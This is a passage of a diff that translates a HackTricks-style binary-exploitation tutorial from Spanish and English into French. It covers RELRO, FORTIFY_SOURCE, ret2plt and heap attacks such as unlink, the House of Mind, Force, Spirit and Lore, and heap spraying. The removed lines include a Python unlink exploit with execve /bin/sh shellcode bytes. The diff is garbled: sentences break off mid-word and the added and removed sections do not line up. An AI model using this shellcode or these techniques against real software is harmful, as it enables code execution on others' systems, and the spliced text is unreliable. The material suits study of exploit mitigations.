a la mémoire **permission `r`**, ce qui signifie que nous ne pouvons que lire à partir de là. -For the binary **without relro**, we can see that the `got` entry address for `fgets` is `0x404018`. Looking at the memory mappings we see that it falls between `0x404000` and `0x405000`, which has the **permissions `rw`**, meaning we can read and write to it. For the binary **with relro**, we see that the `got` table address for the run of the binary (pie is enabled so this address will change) is `0x555555557fd0`. In that binary's memory mapping it falls between `0x0000555555557000` and `0x0000555555558000`, which has the memory **permission `r`**, meaning that we can only read from it. +Alors quelle est la **contournement**? Le contournement typique que j'utilise est de simplement ne pas écrire dans les régions de mémoire que relro rend en lecture seule, et de **trouver un autre moyen d'obtenir l'exécution du code**. -So what's the **bypass**? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and **find a different way to get code execution**. +Notez que pour que cela se produise, le binaire doit connaître avant l'exécution les adresses des fonctions: -Note that in order for this to happen the binary needs to know previous to execution the addresses to the functions: - -* Lazy binding: The address of a function is searched the first time the function is called. So, the GOT needs to have write permissions during execution. -* Bind now: The addresses of the functions are solved at the begginig of the execution, then read-only permissions are given to sensitive sections like .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* - -To check if a program uses Bind now you can do: +* Lazy binding: L'adresse d'une fonction est recherchée la première fois que la fonction est appelée. Ainsi, la GOT doit avoir des autorisations d'écriture pendant l'exécution. +* Bind now: Les adresses des fonctions sont résolues au début de l'exécution, puis des autorisations en lecture seule sont données aux sections sensibles comme .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* +Pour vérifier si un programme utilise Bind now, vous pouvez faire: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` +Lorsque le binaire est chargé en mémoire et qu'une fonction est appelée pour la première fois, il saute à la PLT (Procedure Linkage Table), d'où il effectue un saut (jmp) à la GOT et découvre que cette entrée n'a pas été résolue (elle contient une adresse suivante de la PLT). Il invoque alors le Runtime Linker ou rtfd pour résoudre l'adresse et la stocker dans la GOT. -Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT. +Lorsqu'une fonction est appelée, la PLT est appelée, elle contient l'adresse de la GOT où l'adresse de la fonction est stockée, redirigeant ainsi le flux vers celle-ci et appelant la fonction. Cependant, si c'est la première fois que la fonction est appelée, ce qui se trouve dans la GOT est l'instruction suivante de la PLT, donc le flux suit le code de la PLT (rtfd) et découvre l'adresse de la fonction, la stocke dans la GOT et l'appelle. -Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama. +Lorsqu'un binaire est chargé en mémoire, le compilateur lui a indiqué à quel offset il doit placer les données qui doivent être chargées lors de l'exécution du programme. -Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa. +Lazy binding -> L'adresse de la fonction est recherchée la première fois que cette fonction est appelée, de sorte que la GOT a des autorisations d'écriture pour que lorsqu'elle est recherchée, elle soit stockée là et qu'il ne soit pas nécessaire de la rechercher à nouveau. -Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla. +Bind now -> Les adresses des fonctions sont recherchées lors du chargement du programme et les autorisations des sections .got, .dtors, .ctors, .dynamic, .jcr sont modifiées en lecture seule. **-z relro** et **-z now** -Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now** +Malgré cela, en général, les programmes ne sont pas compliqués avec ces options, donc ces attaques restent possibles. -A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles. +**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** -> Pour savoir s'ils utilisent BIND NOW -**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para saber si usan el BIND NOW +**Fortify Source -D_FORTIFY_SOURCE=1 ou =2** -**Fortify Source -D\_FORTIFY\_SOURCE=1 o =2** +Essaie d'identifier les fonctions qui copient d'un endroit à un autre de manière non sécurisée et de remplacer la fonction par une fonction sûre. -Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura. - -Por ej:\ -char buf\[16];\ +Par exemple :\ +char buf[16];\ strcpy(but, source); -La identifica como insegura y entonces cambia strcpy() por \_\_strcpy\_chk() utilizando el tamaño del buffer como tamaño máximo a copiar. +Il l'identifie comme non sécurisé et remplace alors strcpy() par \_\_strcpy\_chk() en utilisant la taille du tampon comme taille maximale à copier. -La diferencia entre **=1** o **=2** es que: +La différence entre **=1** ou **=2** est que : -La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d** +La seconde ne permet pas que **%n** vienne d'une section avec des autorisations d'écriture. De plus, le paramètre pour l'accès direct aux arguments ne peut être utilisé que si les précédents sont utilisés, c'est-à-dire que seul **%3$d** peut être utilisé s'il a été précédé de **%2$d** et **%1$d**. -Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191 +Pour afficher le message d'erreur, on utilise argv\[0\], donc si on y met l'adresse d'un autre endroit (comme une variable globale), le message d'erreur affichera le contenu de cette variable. Page 191 -**Reemplazo de Libsafe** +**Remplacement de Libsafe** -Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\ -o\ +Il est activé avec : LD\_PRELOAD=/lib/libsafe.so.2\ +ou\ “/lib/libsave.so.2” > /etc/ld.so.preload -Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid). +Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas normalisé. (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas de compilations statiques, toutes les fonctions vulnérables ne deviennent pas sûres et LD\_PRELOAD ne fonctionne pas sur les binaires avec suid). -**ASCII Armored Address Space** +**Espace d'adressage ASCII Armored** -Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian. +Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne permet pratiquement pas d'arrêter les attaques, et encore moins en little endian. **ret2plt** -Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system() +Consiste à réaliser un ROP de manière à appeler la fonction strcpy@plt (de la plt) et à pointer vers l'entrée de la GOT et à copier le premier octet de la fonction à laquelle on veut appeler (system()). Ensuite, on fait la même chose en pointant vers GOT+1 et en copiant le 2ème octet de system()... En fin de compte, on appelle l'adresse stockée dans GOT +Si vous voulez réutiliser un pointeur, cela ne posera aucun problème. Si vous voulez en utiliser un autre, il sera assigné au même espace, ce qui faussera les pointeurs "fd" et "bk" avec les données de la réservation précédente. -**Falso EBP** +**Après free()** -Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”. +Un pointeur précédemment libéré est réutilisé sans contrôle. -**Jaulas con chroot()** +## **8 Débordements de tas : Exploits avancés** -debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico - -Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd .. - -**Instrumentación de código** - -Valgrind —> Busca errores\ -Memcheck\ -RAD (Return Address Defender)\ -Insure++ - -## **8 Heap Overflows: Exploits básicos** - -**Trozo asignado** - -prev\_size |\ -size | —Cabecera\ -\*mem | Datos - -**Trozo libre** - -prev\_size |\ -size |\ -\*fd | Ptr forward chunk\ -\*bk | Ptr back chunk —Cabecera\ -\*mem | Datos - -Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan) - -En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario. - -Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. - -unlink(){\ -BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\ -FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\ -BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\ -} - -Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra: - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor\_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode - -Y así se se ejecuta al salir del programa la shellcode. - -Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode. - -Por lo tanto el exploit se crea: - -En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode. - -Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**. - -Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso). - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno** - -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** - -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** - -**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** - -**prev\_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8) +p = mem2chunk(mes); —> Renvoie un pointeur à l'adresse où commence le morceau (mem-8) … @@ -887,11 +713,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr } -En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info) +En \[1], il vérifie le champ size du bit NON\_MAIN\_ARENA, qui peut être altéré pour que la vérification renvoie true et exécute heap\_for\_ptr() qui fait un and à "mem", laissant les 2,5 octets les moins importants à 0 (dans notre cas de 0x0804a000, il laisse 0x08000000) et accède à 0x08000000->ar\_ptr (comme s'il s'agissait d'une structure heap\_info). -De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr) +De cette façon, si nous pouvons contrôler un morceau par exemple à 0x0804a000 et qu'un morceau est sur le point d'être libéré à **0x081002a0**, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple **0x0804a000**. Lorsque ce deuxième morceau sera libéré, heap\_for\_ptr(ptr)->ar\_ptr trouvera ce que nous avons écrit à 0x08100000 (car l'and que nous avons vu précédemment est appliqué à 0x081002a0 et la valeur des 4 premiers octets, l'ar\_ptr, est extraite de là). -De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\ +De cette façon, \_int\_free(ar\_ptr, mem) est appelé, c'est-à-dire, **\_int\_free(0x0804a000, 0x081002a0)**\ **\_int\_free(mstate av, Void\_t\* mem){**\ …\ bck = unsorted\_chunks(av);\ @@ -903,184 +729,76 @@ fwd->bk = p; ..} -Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar. +Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le morceau qui va être libéré. -Tal y como se define unsorted\_chunks, sabemos que:\ +Comme unsorted\_chunks est défini, nous savons que :\ bck = \&av->bins\[2]-8;\ fwd = bck->fd = \*(av->bins\[2]);\ fwd->bk = \*(av->bins\[2] + 12) = p; -Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo. +Par conséquent, si nous écrivons la valeur de \_\_DTOR\_END\_\_-12 dans av->bins\[2], la dernière instruction écrira dans \_\_DTOR\_END\_\_ l'adresse du deuxième morceau. -Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2] +C'est-à-dire que dans le premier morceau, nous devons mettre au début plusieurs fois l'adresse de \_\_DTOR\_END\_\_-12 car av->bins\[2\] la prendra de là. -En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2] +Dans l'adresse où tombe l'adresse du deuxième morceau avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier morceau pour que heap\_for\_ptr() pense que l'ar\_ptr est au début du premier mor +bin->bk = bck; Le deuxième à partir de la fin devient le dernier, si bck pointe vers le stack au prochain morceau réservé, cette adresse lui sera donnée. -En el segundo trozo y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA +bck->fd = bin; La liste est fermée en la faisant pointer vers bin. -A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode +Il est nécessaire de : -De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode. +- Réserver deux malloc, de sorte que le premier puisse être débordé après que le second ait été libéré et introduit dans son bin (c'est-à-dire qu'un malloc supérieur au deuxième morceau ait été réservé avant le débordement). +- Contrôler le malloc réservé à l'adresse choisie par l'attaquant. -Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload. +L'objectif est le suivant : si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons modifier son pointeur bk. Si nous modifions son pointeur bk et que ce morceau devient le premier de la liste de bin et qu'il est réservé, bin sera trompé et on lui dira que le dernier morceau de la liste (le suivant à offrir) est à l'adresse fausse que nous avons mise (sur le stack ou GOT par exemple). Ainsi, si un autre morceau est réservé et que l'attaquant a des autorisations dessus, un morceau sera donné à la position souhaitée et il pourra écrire dedans. -Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él. +Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui qui a été libéré, de sorte que le morceau modifié sorte des unsorted bins et soit introduit dans son bin. -**Fastbin** +Une fois dans son bin, il est temps de modifier son pointeur bk via le débordement pour qu'il pointe vers l'adresse que nous voulons écraser. -Es una variante de The house of mind +Ainsi, le bin devra attendre son tour jusqu'à ce que suffisamment d'appels à malloc() soient effectués pour que le bin modifié soit réutilisé et trompe bin en lui faisant croire que le morceau suivant est à l'adresse fausse. Et ensuite, le morceau qui nous intéresse sera donné. -nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int\_free() +Pour que la vulnérabilité soit exécutée le plus rapidement possible, il est idéal de : réserver le morceau vulnérable, réserver le morceau qui sera modifié, libérer ce morceau, réserver un morceau plus grand que celui qui sera modifié, modifier le morceau (vulnérabilité), réserver un morceau de même taille que celui qui a été violé et réserver un deuxième morceau de même taille et ce sera celui qui pointera vers l'adresse choisie. -fb = &(av->fastbins\[fastbin\_index(size)] —> Siendo fastbin\_index(sz) —> (sz >> 3) - 2 +Pour protéger cette attaque, la vérification typique est utilisée pour s'assurer que le morceau n'est pas faux : on vérifie si bck->fd pointe vers victim. C'est-à-dire que dans notre cas, si le pointeur fd* du faux morceau pointé sur le stack pointe vers victim. Pour dépasser cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement sur le stack) à l'adresse appropriée de la direction de victim. Ainsi, cela ressemblera à un vrai morceau. -… +**Corruption LargeBin** -p->fd = \*fb +Les mêmes exigences sont nécessaires qu'auparavant et quelques autres, en outre, les morceaux réservés doivent être supérieurs à 512. -\*fb = p +L'attaque est la même que précédemment, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc() sont nécessaires, mais il faut également modifier la taille du morceau modifié de sorte que cette taille - nb soit < MINSIZE. -De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max\_fast esté en la dirección que vamos a sobreescribir. +Par exemple, il faudra mettre en taille 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned). -Dado que con The House of Mind se vio que nosotros controlábamos la posición del av. - -Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast - -En este caso av->max\_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita). - -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops). - -Además, ese mismo trozo falso debe ser menor que av->system\_mem. av->system\_mem se encuentra 1848 bytes más allá. - -Por culpa de los nulos de \_DTOR\_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila. - -Otra forma de ataque es redirigir el **av** hacia la pila. - -Si modificamos el size para que de 16 en vez de 8 entonces: fastbin\_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila. - -Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET - -Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0. - -El **av->max\_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones. - -En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode. - -Además, en **av->system\_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza. - -Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso). - -**The House of Spirit** - -En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable). - -Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max\_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48. - -Si por ejemplo el programa preguntase al usuario por un número podríamos introducir 48 y apuntar el puntero de malloc modificable a los siguientes 4bytes (que podrían pertenecer al EBP con suerte, así el 48 queda por detrás, como si fuese la cabecera size). Además, la dirección ptr-4+48 debe cumplir varias condiciones (siendo en este caso ptr=EBP), es decir, 8 < ptr-4+48 < av->system\_mem. - -En caso de que esto se cumpla, cuando se llame al siguiente malloc que dijimos que era malloc(40) se le asignará como dirección la dirección del EBP. En caso de que el atacante también pueda controlar lo que se escribe en este malloc puede sobreescribir tanto el EBP como el EIP con la dirección que quiera. - -Esto creo que es porque así cuando lo libere free() guardará que en la dirección que apunta al EBP del stack hay un trozo de tamaño perfecto para el nuevo malloc() que se quiere reservar, así que le asigna esa dirección. - -**The House of Force** - -Es necesario: - -* Un overflow a un trozo que permita sobreescribir el wilderness -* Una llamada a malloc() con el tamaño definido por el usuario -* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario - -Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap - -Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8. - -Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante: - -victim = av->top; - -remainder = chunck\_at\_offset(victim, nb); - -av->top = remainder; - -Victim recoge el valor de la dirección del trozo wilderness actual (el actual av->top) y remainder es exactamente la suma de esa dirección más la cantidad de bytes solicitados por malloc(). Por lo que si \&EIP-8 está en 0xbffff224 y av->top contiene 0x080c2788, entonces la cantidad que tenemos que reservar en el malloc controlado para que av->top quede apuntando a $EIP-8 para el próximo malloc() será: - -0xbffff224 - 0x080c2788 = 3086207644. - -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. - -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. - -**The House of Lore** - -**Corrupción SmallBin** - -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. - -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast (72normalmente) y menos a MIN\_LARGE\_SIZE (512). - -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: - -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. - -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección - -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin - -Se necesita: - -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) - -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. - -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. - -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. - -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. - -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. - -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. - -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. - -**Corrupción LargeBin** - -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. - -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. - -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) - -Además se ha introducido un parche para hacerlo aún más complicado. +De plus, un correctif a été introduit pour le rendre encore plus compliqué. **Heap Spraying** -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. +Essentiellement, il consiste à réserver toute la mémoire possible pour les tas et à les remplir d'un matelas de nops fini par une shellcode. De plus, 0x0c est utilisé comme matelas. On essaiera donc de sauter à l'adresse 0x0c0c0c0c, et ainsi, si une adresse à laquelle on va appeler est écrasée avec ce matelas, on sautera là-bas. Fondamentalement, la tactique consiste à réserver autant que possible pour voir si un pointeur est écrasé et à sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas. **Heap Feng Shui** -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. +Il consiste à semer la mémoire en réservant et en libérant des morceaux de sorte qu'il reste des morceaux réservés entre des morceaux libres. Le tampon à déborder sera situé dans l'un des œufs. -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d executable** —> Disas fonctions\ +**objdump -d ./PROGRAMME | grep FONCTION** —> Obtenir l'adresse de la fonction\ +**objdump -d -Mintel ./shellcodeout** —> Pour voir que c'est effectivement notre shellcode et obtenir les OpCodes\ +**objdump -t ./exec | grep varBss** —> Table des symboles, pour obtenir l'adresse des variables et des fonctions\ +**objdump -TR ./exec | grep exit(func lib)** —> Pour obtenir l'adresse des fonctions des bibliothèques (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> Obtient l'adresse de puts à écraser dans le GOT\ +**objdump -D ./exec** —> Disas ALL jusqu'aux entrées de la plt\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** Info de la fonction dans gdb -## Interesting courses +## Cours intéressants * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -## **References** +## **Références** * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) @@ -1088,10 +806,8 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a 